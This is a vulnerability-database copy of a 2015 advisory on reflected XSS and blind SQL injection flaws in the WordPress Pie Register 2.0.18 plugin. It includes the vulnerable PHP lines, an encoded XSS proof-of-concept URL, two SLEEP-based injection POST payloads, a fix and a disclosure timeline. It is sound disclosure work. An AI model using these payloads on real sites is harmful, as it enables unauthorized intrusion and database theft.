Lucene search
K

WordPress Pie Register 2.0.18 Cross Site Scripting / SQL Injection Vulnerabilities

🗓️ 13 Oct 2015 00:00:00Reported by David MooreType 
zdt
 zdt
🔗 0day.today👁 37 Views

An unauthenticated XSS & SQL injection vulnerability in WordPress Pie Register 2.0.18 plugin with proof of concept and remediation

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-7377
9 Oct 202412:19
circl
CNVD
WordPress Pie Register Plugin SQL Injection Vulnerability
13 Oct 201500:00
cnvd
CNVD
WordPress Pie Register Plugin Cross-Site Scripting Vulnerability
13 Oct 201500:00
cnvd
CVE
CVE-2015-7377
16 Oct 201520:00
cve
CVE
CVE-2015-7682
16 Oct 201520:00
cve
Cvelist
CVE-2015-7377
16 Oct 201520:00
cvelist
Cvelist
CVE-2015-7682
16 Oct 201520:00
cvelist
EUVD
EUVD-2015-7301
7 Oct 202500:30
euvd
EUVD
EUVD-2015-7584
7 Oct 202500:30
euvd
Nuclei
WordPress Pie-Register <2.0.19 - Cross-Site Scripting
10 Jun 202605:11
nuclei
Rows per page
Description
================
An unauthenticated reflected XSS vulnerability in Pie Register 2.0.18 allows malicious script injection via the invitaion_code parameter.  Pie Register is a WordPress plugin with over 10,000 active installs.

Vulnerability
================
The vulnerability is due to the unsanitized GET parameter invitaion_code:

From: pie-register/pie-register.php:
647: $inv_code = base64_decode($_GET['invitaion_code']);
. . .
662: <h2><?php _e("Activation Code","piereg");echo " : ".$inv_code; ?></h2>

Proof of concept
================
The payload is Base64 encoded.

http://localhost/wordpress/?page=pie-register&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Tested on Firefox 41.0 and Chrome 45.0.2454.85.

Description
================
Two blind SQL injection vulnerabilities in Pie Register 2.0.18 allow SQL injection by admins leading to loss of database confidentiality. Pie Register is a WordPress plugin with over 10,000 active installs.

Vulnerabilities
================
The vulnerabilities are due to the unsanitized POST parameters invitaion_code_bulk_option and invi_del_id:

Injection 1:
>From  pie-register/pie-register.php:
576: $this->delete_invitation_codes($_POST['select_invitaion_code_bulk_option']);
. . .
3521: $sql = "DELETE FROM `$codetable` WHERE `id` IN ( ".$ids." )";

Injection 2:
>From pie-register/pie-register.php:
1941: if($wpdb->query("DELETE FROM ".$codetable." WHERE id = ".$_POST['invi_del_id']))

Proof of concept
================
URL: http://localhost/wordpress/wp-admin/admin.php?page=pie-invitation-codes

Injection 1:
POST data:
select_invitaion_code_bulk_option=1)%20OR%20SLEEP(15)%3d0%20LIMIT%201--&invitaion_code_bulk_option=delete&btn_submit_invitaion_code_bulk_option=Apply

Injection 2:
POST data:
piereg_invitation_nonce=66e7e6383d&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dpie-invitation-codes&invi_del_id=1%20OR%20SLEEP(15)%3d0%20LIMIT%201--

Remediation
================
Upgrade the plugin to version 2.0.19 or higher.

Timeline
================
2015-09-23: Discovered
2015-09-24: Contacted vendor via website support form
2015-09-28: Vendor supplied security contact email
2015-09-28: Requested CVE
2015-09-30: Report sent to vendor and wordpress.org
2015-10-02: Vendor releases version 2.0.19 on Github - confirmed fixed
2015-10-12: Public Disclosure

#  0day.today [2018-03-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Oct 2015 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.05825
37